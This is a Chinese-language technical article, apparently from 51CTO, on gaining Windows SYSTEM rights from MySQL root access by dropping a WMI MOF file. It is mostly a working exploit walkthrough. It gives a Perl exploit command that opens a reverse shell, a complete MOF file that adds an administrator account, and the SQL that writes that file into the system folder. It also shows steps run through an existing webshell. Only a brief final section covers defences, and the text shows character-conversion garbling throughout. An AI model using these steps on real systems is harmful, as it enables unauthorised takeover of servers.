技術(shù)干貨:MySQL數(shù)據(jù)庫(kù)Root權(quán)限MOF方法提權(quán)研究
原創(chuàng)【51CTO.com原創(chuàng)稿件】MySQL Root權(quán)限MOF方法提權(quán)是來(lái)自國(guó)外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡(jiǎn)稱(chēng)mysql遠(yuǎn)程提權(quán)0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲(chǔ)庫(kù)的托管對(duì)象格式 (MOF) 文件:
方法1:運(yùn)行 MOF 文件指定為命令行參數(shù)將 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。
Microsoft 建議您到存儲(chǔ)庫(kù)編譯 MOF 文件使用前兩種方法。也就是運(yùn)行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因?yàn)榇斯δ芸赡懿粫?huì)提供在將來(lái)的版本后,不應(yīng)使用。注意使用MOF方法提權(quán)的前提是當(dāng)前Root帳號(hào)可以復(fù)制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會(huì)失敗!
001漏洞利用方法分析
該漏洞的利用前提條件是必須具備mysql的root權(quán)限,在Kingcope公布的0day中公布了一個(gè)pl利用腳本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100為mysql數(shù)據(jù)庫(kù)所在服務(wù)器,mysql口令為空,反彈到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
將以下代碼保存為nullevt.mof文件:
- #pragma namespace("\\\\.\\root\\subscription")
- instance of __EventFilter as $EventFilter
- {
- EventNamespace = "Root\\Cimv2";
- Name = "filtP2";
- Query = "Select * From __InstanceModificationEvent "
- "Where TargetInstance Isa \"Win32_LocalTime\" "
- "And TargetInstance.Second = 5";
- QueryLanguage = "WQL";
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = "consPCSV2";
- ScriptingEngine = "JScript";
- ScriptText =
- "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
2.通過(guò)Mysql查詢(xún)將文件導(dǎo)入
執(zhí)行以下查詢(xún)語(yǔ)句,將上面生成的nullevt.mof導(dǎo)入到c:\windows\system32\wbem\mof\目錄下在windows7中默認(rèn)是拒絕訪問(wèn)的。導(dǎo)入后系統(tǒng)會(huì)自動(dòng)運(yùn)行,執(zhí)行命令。
- select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
002實(shí)戰(zhàn)利用
1.實(shí)驗(yàn)環(huán)境
本次實(shí)驗(yàn)環(huán)境為Windows2003+Apache+PHP,已經(jīng)擁有Webshell權(quán)限。
2.上傳文件到可寫(xiě)目錄
將nullevt.mof文件上傳到服務(wù)器可寫(xiě)目錄,例如C:\RECYCLER\,如圖5-4所示。
上傳文件nullevt.mof
3.執(zhí)行命令
配置好中國(guó)菜刀,然后通過(guò)數(shù)據(jù)庫(kù)管理,執(zhí)行查詢(xún)命令,在執(zhí)行查詢(xún)命令前需要先選擇一下數(shù)據(jù)庫(kù),然后將以下代碼復(fù)制到查詢(xún)語(yǔ)句輸入框中,如圖5-5所示。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
執(zhí)行查詢(xún)命令
4.查看執(zhí)行結(jié)果
執(zhí)行完畢后需要修改添加用戶(hù)命令為將用戶(hù)添加到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳并查詢(xún),如圖5-6所示,通過(guò)net user查看,果然admin已被添加到系統(tǒng)中。
添加用戶(hù)成功
003防范方法
Mysql Root權(quán)限MOF方法提權(quán)其前提條件是能夠?qū)⑸蟼鞯膎ullevt.mof復(fù)制到系統(tǒng)目錄下,例如c:\windows\system32\wbem\mof中,如果無(wú)法復(fù)制則會(huì)提權(quán)失敗。一般對(duì)Windows2003以下操作系統(tǒng)效果較好,Windows2008以上由于保護(hù)機(jī)制,較少能夠成功。因此可以采取以下措施進(jìn)行防范:
1.在程序數(shù)據(jù)庫(kù)連接文件中盡量不要使用Root帳號(hào)進(jìn)行連接。
2.Root帳號(hào)使用強(qiáng)加密方式,采用字母大小寫(xiě)+數(shù)字+特殊字符,密碼位數(shù)15位以上。
3.對(duì)Mysql數(shù)據(jù)庫(kù)的mysql數(shù)據(jù)庫(kù)目錄權(quán)限嚴(yán)格限制,IIS用戶(hù)無(wú)法讀寫(xiě)該文件。
4. 操作系統(tǒng)目錄c:\windows\system32\wbem禁止寫(xiě)入。
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】